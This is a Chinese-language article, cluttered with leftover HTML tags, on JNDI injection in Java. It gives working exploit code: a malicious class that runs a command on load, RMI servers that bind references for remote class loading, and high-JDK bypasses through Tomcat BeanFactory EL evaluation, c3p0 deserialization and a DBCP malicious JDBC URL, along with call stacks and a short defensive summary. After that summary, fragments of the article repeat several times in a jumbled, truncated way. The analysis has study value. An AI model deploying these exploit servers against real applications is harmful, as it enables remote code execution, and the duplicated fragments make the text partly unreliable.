JNDI注入攻防全解析：从低版本RCE到高版本绕过分析<\/h1>

前言<\/h2>
JNDI（Java Naming and Directory Interface）注入是Java安全领域的重要攻击方式。本文将系统分析JNDI注入的攻防技术演变，从经典的低版本RCE利用到高版本JDK的防护绕过技术。<\/p>

一、低版本JNDI注入原理分析<\/h2>

1.1 RMI利用方式<\/h3>

恶意类准备<\/h4>

import<\/span> java.lang.Runtime;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> test<\/span>{<\/span>
<\/span><\/span>    static<\/span> {<\/span>
<\/span><\/span>        try<\/span>{<\/span>
<\/span><\/span>            Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>"calc"<\/span>);<\/span>
<\/span><\/span>        }<\/span>catch<\/span> (<\/span>Exception e){<\/span>
<\/span><\/span>            System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>e);<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>    public<\/span> test<\/span>(){}<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>服务端代码<\/h4>
import<\/span> com.sun.jndi.rmi.registry.ReferenceWrapper;<\/span>
<\/span><\/span>import<\/span> javax.naming.Reference;<\/span>
<\/span><\/span>import<\/span> java.rmi.registry.LocateRegistry;<\/span>
<\/span><\/span>import<\/span> java.rmi.registry.Registry;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> RMIServer<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception{<\/span>
<\/span><\/span>        Registry registry =<\/span> LocateRegistry.<\/span>createRegistry<\/span>(<\/span>7777<\/span>);<\/span>
<\/span><\/span>        Reference reference =<\/span> new<\/span> Reference(<\/span>"test"<\/span>,<\/span> "test"<\/span>,<\/span> "http:\/\/localhost\/"<\/span>);<\/span>
<\/span><\/span>        ReferenceWrapper wrapper =<\/span> new<\/span> ReferenceWrapper(<\/span>reference);<\/span>
<\/span><\/span>        registry.<\/span>bind<\/span>(<\/span>"calc"<\/span>,<\/span> wrapper);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>客户端代码<\/h4>
import<\/span> javax.naming.InitialContext;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> JNDI_Test<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception{<\/span>
<\/span><\/span>        new<\/span> InitialContext().<\/span>lookup<\/span>(<\/span>"rmi:\/\/127.0.0.1:7777\/calc"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞调用栈分析<\/h4>
loadClass:73, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (JNDI)
<\/code><\/pre>
关键漏洞点<\/h4>
在RegistryContext.decodeObject<\/code>方法中，通过NamingManager.getObjectInstance<\/code>触发远程类加载：<\/p>

helper.loadClass(factoryName)<\/code>尝试从本地加载Factory类<\/li>
如果本地不存在，则通过helper.loadClass(factoryName, codebase)<\/code>从远程codebase加载恶意class<\/li>
使用clas.newInstance()<\/code>实例化恶意类，触发静态代码块或构造函数中的恶意代码<\/li>
<\/ul>
1.2 LDAP利用方式<\/h3>
客户端代码<\/h4>
import<\/span> javax.naming.InitialContext;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> JNDI_Test<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception{<\/span>
<\/span><\/span>        new<\/span> InitialContext().<\/span>lookup<\/span>(<\/span>"ldap:\/\/127.0.0.1:8085\/ecEzwVXo"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞调用栈<\/h4>
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (JNDI)
<\/code><\/pre>
二、高版本JDK防护机制<\/h2>
2.1 防护原理<\/h3>
高版本JDK（JDK 6u132、7u122、8u113之后）默认将com.sun.jndi.rmi.object.trustURLCodebase<\/code>和com.sun.jndi.ldap.object.trustURLCodebase<\/code>设置为false，阻止从远程codebase加载类。<\/p>
2.2 绕过思路<\/h3>
绕过高版本限制的关键在于利用本地工厂类，需要满足以下条件：<\/p>

令ref为空<\/li>
令ref.GetFactoryClassLocation()为空<\/li>
令trustURLCodebase为true<\/li>
<\/ol>
主要采用第二种方法：让ref对象的classFactoryLocation属性为空，表示使用本地工厂类而非远程codebase。<\/p>
三、高版本绕过技术详解<\/h2>
3.1 Tomcat BeanFactory利用<\/h3>
依赖配置<\/h4>
<dependency><\/span>
<\/span><\/span>    <groupId><\/span>org.apache.tomcat<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>tomcat-catalina<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>8.5.0<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><dependency><\/span>
<\/span><\/span>    <groupId><\/span>org.apache.el<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>com.springsource.org.apache.el<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>7.0.26<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>服务端代码<\/h4>
import<\/span> com.sun.jndi.rmi.registry.ReferenceWrapper;<\/span>
<\/span><\/span>import<\/span> org.apache.naming.ResourceRef;<\/span>
<\/span><\/span>import<\/span> javax.naming.StringRefAddr;<\/span>
<\/span><\/span>import<\/span> java.rmi.registry.LocateRegistry;<\/span>
<\/span><\/span>import<\/span> java.rmi.registry.Registry;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> RMIServer<\/span> {<\/span>
<\/span><\/span>    public<\/span> static<\/span> void<\/span> main<\/span>(<\/span>String[]<\/span> args)<\/span> throws<\/span> Exception{<\/span>
<\/span><\/span>        Registry registry =<\/span> LocateRegistry.<\/span>createRegistry<\/span>(<\/span>7777<\/span>);<\/span>
<\/span><\/span>        ResourceRef ref =<\/span> new<\/span> ResourceRef(<\/span>"javax.el.ELProcessor"<\/span>,<\/span> null<\/span>,<\/span> ""<\/span>,<\/span> ""<\/span>,<\/span> true<\/span>,<\/span>"org.apache.naming.factory.BeanFactory"<\/span>,<\/span>null<\/span>);<\/span>
<\/span><\/span>        ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"forceString"<\/span>,<\/span> "x=eval"<\/span>));<\/span>
<\/span><\/span>        ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"x"<\/span>,<\/span> "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"<\/span>));<\/span>
<\/span><\/span>        ReferenceWrapper referenceWrapper =<\/span> new<\/span> ReferenceWrapper(<\/span>ref);<\/span>
<\/span><\/span>        registry.<\/span>bind<\/span>(<\/span>"calc"<\/span>,<\/span> referenceWrapper);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>技术原理<\/h4>
利用org.apache.naming.factory.BeanFactory<\/code>本地工厂类，通过EL表达式执行任意代码。<\/p>
3.2 c3p0 JavaBeanObjectFactory利用<\/h3>
依赖配置<\/h4>
<dependency><\/span>
<\/span><\/span>    <groupId><\/span>com.mchange<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>c3p0<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>0.9.5.2<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>利用点分析<\/h4>
JavaBeanObjectFactory.getObjectInstance<\/code>方法中存在两个反序列化点：<\/p>

REF_PROPS_KEY反序列化<\/strong><\/li>
<\/ol>
BinaryRefAddr var9 =<\/span> (<\/span>BinaryRefAddr)<\/span>var6.<\/span>remove<\/span>(<\/span>"com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY"<\/span>);<\/span>
<\/span><\/span>if<\/span> (<\/span>var9 !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>    var12 =<\/span> (<\/span>Set)<\/span>SerializableUtils.<\/span>fromByteArray<\/span>((<\/span>byte<\/span>[])((<\/span>byte<\/span>[])<\/span>var9.<\/span>getContent<\/span>()));<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
createPropertyMap方法反序列化<\/strong><\/li>
<\/ol>
RefAddr refAddr =<\/span> (<\/span>RefAddr)<\/span>iter.<\/span>next<\/span>();<\/span>
<\/span><\/span>if<\/span> (<\/span>refAddr.<\/span>getType<\/span>().<\/span>equals<\/span>(<\/span>"com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY"<\/span>))<\/span> {<\/span>
<\/span><\/span>    refProps =<\/span> (<\/span>Set)<\/span> SerializableUtils.<\/span>fromByteArray<\/span>((<\/span>byte<\/span>[])<\/span> refAddr.<\/span>getContent<\/span>());<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>
findBean方法中的setter调用<\/strong>

通过HEX序列化字节加载器进行反序列化攻击，利用WrapperConnectionPoolDataSource.VetoableChange<\/code>方法触发反序列化。<\/li>
<\/ol>
攻击构造<\/h4>
Reference ref =<\/span> new<\/span> Reference(<\/span>"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"<\/span>,<\/span>
<\/span><\/span>    "com.mchange.v2.naming.JavaBeanObjectFactory"<\/span>,<\/span> null<\/span>);<\/span>
<\/span><\/span>String poc =<\/span> ""<\/span>;<\/span> \/\/ HEX序列化payload
<\/span><\/span><\/span><\/span>ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"userOverridesAsString"<\/span>,<\/span> "HexAsciiSerializedMap:"<\/span> +<\/span> poc+<\/span>";"<\/span>));<\/span>
<\/span><\/span>Registry registry =<\/span> LocateRegistry.<\/span>createRegistry<\/span>(<\/span>7777<\/span>);<\/span>
<\/span><\/span>ReferenceWrapper referenceWrapper =<\/span> new<\/span> ReferenceWrapper(<\/span>ref);<\/span>
<\/span><\/span>registry.<\/span>bind<\/span>(<\/span>"calc"<\/span>,<\/span> referenceWrapper);<\/span>
<\/span><\/span><\/code><\/pre>调用栈<\/h4>
deserializeFromByteArray:144, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
findBean:146, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:14, JNDI_Test (JNDI)
<\/code><\/pre>
3.3 Tomcat DBCP ResourceFactory利用<\/h3>
环境依赖<\/h4>
<dependencies><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>org.javassist<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>javassist<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>3.25.0-GA<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>org.apache.commons<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>commons-dbcp2<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>2.12.0<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>org.apache.tomcat<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>tomcat-catalina<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>9.0.89<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>org.apache.tomcat<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>tomcat-dbcp<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>9.0.89<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>mysql<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>mysql-connector-java<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>8.0.19<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span>    <dependency><\/span>
<\/span><\/span>        <groupId><\/span>commons-collections<\/groupId><\/span>
<\/span><\/span>        <artifactId><\/span>commons-collections<\/artifactId><\/span>
<\/span><\/span>        <version><\/span>3.2.1<\/version><\/span>
<\/span><\/span>    <\/dependency><\/span>
<\/span><\/span><\/dependencies><\/span>
<\/span><\/span><\/code><\/pre>利用原理<\/h4>
利用org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory<\/code>的getObjectInstance<\/code>方法，通过恶意JDBC URL触发二次反序列化。<\/p>
攻击构造<\/h4>
Registry registry =<\/span> LocateRegistry.<\/span>createRegistry<\/span>(<\/span>1099<\/span>);<\/span>
<\/span><\/span>ResourceRef ref =<\/span> new<\/span> ResourceRef(<\/span>"javax.sql.DataSource"<\/span>,<\/span> null<\/span>,<\/span> ""<\/span>,<\/span> ""<\/span>,<\/span> true<\/span>,<\/span>
<\/span><\/span>    "org.apache.naming.factory.ResourceFactory"<\/span>,<\/span> null<\/span>);<\/span>
<\/span><\/span>ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"driverClassName"<\/span>,<\/span> "com.mysql.cj.jdbc.Driver"<\/span>));<\/span>
<\/span><\/span>String JDBC_URL =<\/span> "jdbc:mysql:\/\/127.0.0.1:3309\/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&useSSL=false"<\/span>;<\/span>
<\/span><\/span>ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"url"<\/span>,<\/span> JDBC_URL));<\/span>
<\/span><\/span>ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"username"<\/span>,<\/span> "root"<\/span>));<\/span>
<\/span><\/span>ref.<\/span>add<\/span>(<\/span>new<\/span> StringRefAddr(<\/span>"initialSize"<\/span>,<\/span> "1"<\/span>));<\/span>
<\/span><\/span>ReferenceWrapper referenceWrapper =<\/span> new<\/span> ReferenceWrapper(<\/span>ref);<\/span>
<\/span><\/span>registry.<\/span>bind<\/span>(<\/span>"calc"<\/span>,<\/span> referenceWrapper);<\/span>
<\/span><\/span><\/code><\/pre>四、总结<\/h2>
JNDI注入攻击技术经历了从低版本的直接远程类加载到高版本的本地工厂类绕过的演变过程。防御方需要：<\/p>

及时升级JDK版本<\/li>
严格控制信任的codebase来源<\/li>
审查和限制本地工厂类的使用<\/li>
实施严格的反序列化过滤策略<\/li>
<\/ol>
攻击技术的持续演进表明，Java应用安全需要多层次、纵深化的防护策略。<\/p>

JNDI注入攻防全解析：从低版本RCE到高版本绕过分析<\/h1>

前言<\/h2>
JNDI（Java Naming and Directory Interface）注入是Java安全领域的重要攻击方式。本文将系统分析JNDI注入的攻防技术演变，从经典的低版本RCE利用到高版本JDK的防护绕过技术。<\/p>

一、低版本JNDI注入原理分析<\/h2>

1.1 RMI利用方式<\/h3>

1.2 LDAP利用方式<\/h3>

二、高版本JDK防护机制<\/h2>

2.1 防护原理<\/h3>
高版本JDK（JDK 6u132、7u122、8u113之后）默认将`com.sun.jndi.rmi.object.trustURLCodebase<\/code>和com.sun.jndi.ldap.object.trustURLCodebase<\/code>设置为false，阻止从远程codebase加载类。<\/p>`

三、高版本绕过技术详解<\/h2>

3.1 Tomcat BeanFactory利用<\/h3>

技术原理<\/h4>
利用`org.apache.naming.factory.BeanFactory<\/code>本地工厂类，通过EL表达式执行任意代码。<\/p>`

3.3 Tomcat DBCP ResourceFactory利用<\/h3>

利用原理<\/h4>
利用`org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory<\/code>的getObjectInstance<\/code>方法，通过恶意JDBC URL触发二次反序列化。<\/p>`

JNDI注入攻防全解析：从低版本RCE到高版本绕过分析<\/h1>

前言<\/h2> JNDI（Java Naming and Directory Interface）注入是Java安全领域的重要攻击方式。本文将系统分析JNDI注入的攻防技术演变，从经典的低版本RCE利用到高版本JDK的防护绕过技术。<\/p>

一、低版本JNDI注入原理分析<\/h2>

1.1 RMI利用方式<\/h3>

1.2 LDAP利用方式<\/h3>

二、高版本JDK防护机制<\/h2>

2.1 防护原理<\/h3> 高版本JDK（JDK 6u132、7u122、8u113之后）默认将com.sun.jndi.rmi.object.trustURLCodebase<\/code>和com.sun.jndi.ldap.object.trustURLCodebase<\/code>设置为false，阻止从远程codebase加载类。<\/p>

三、高版本绕过技术详解<\/h2>

3.1 Tomcat BeanFactory利用<\/h3>

技术原理<\/h4> 利用org.apache.naming.factory.BeanFactory<\/code>本地工厂类，通过EL表达式执行任意代码。<\/p>

3.3 Tomcat DBCP ResourceFactory利用<\/h3>

利用原理<\/h4> 利用org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory<\/code>的getObjectInstance<\/code>方法，通过恶意JDBC URL触发二次反序列化。<\/p>

前言<\/h2>
JNDI（Java Naming and Directory Interface）注入是Java安全领域的重要攻击方式。本文将系统分析JNDI注入的攻防技术演变，从经典的低版本RCE利用到高版本JDK的防护绕过技术。<\/p>

2.1 防护原理<\/h3>
高版本JDK（JDK 6u132、7u122、8u113之后）默认将`com.sun.jndi.rmi.object.trustURLCodebase<\/code>和com.sun.jndi.ldap.object.trustURLCodebase<\/code>设置为false，阻止从远程codebase加载类。<\/p>`

技术原理<\/h4>
利用`org.apache.naming.factory.BeanFactory<\/code>本地工厂类，通过EL表达式执行任意代码。<\/p>`

利用原理<\/h4>
利用`org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory<\/code>的getObjectInstance<\/code>方法，通过恶意JDBC URL触发二次反序列化。<\/p>`